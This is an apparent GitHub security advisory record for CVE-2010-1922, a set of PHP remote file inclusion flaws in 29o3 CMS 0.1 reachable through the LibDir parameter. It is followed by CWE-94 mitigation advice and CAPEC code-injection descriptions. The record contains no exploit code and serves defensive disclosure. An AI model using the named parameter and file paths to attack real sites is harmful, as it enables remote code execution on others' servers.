"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GFJW-37RR-7CF3
Vulnerability from github – Published: 2022-05-14 02:44 – Updated: 2022-05-14 02:44
VLAI
Details
Multiple PHP remote file inclusion vulnerabilities in 29o3 CMS 0.1 allow remote attackers to execute arbitrary PHP code via a URL in the LibDir parameter to (1) lib/page/pageDescriptionObject.php, and (2) layoutHeaderFuncs.php, (3) layoutManager.php, and (4) layoutParser.php in lib/layout/.
{
"affected": [],
"aliases": [
"CVE-2010-1922"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-05-12T16:07:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in 29o3 CMS 0.1 allow remote attackers to execute arbitrary PHP code via a URL in the LibDir parameter to (1) lib/page/pageDescriptionObject.php, and (2) layoutHeaderFuncs.php, (3) layoutManager.php, and (4) layoutParser.php in lib/layout/.",
"id": "GHSA-gfjw-37rr-7cf3",
"modified": "2022-05-14T02:44:58Z",
"published": "2022-05-14T02:44:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1922"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1005-exploits/29o3cms-rfi.txt"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/12558"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/511222/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/40049"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/1120"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Architecture and Design
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
Architecture and Design
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Operation
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Operation
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
Implementation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.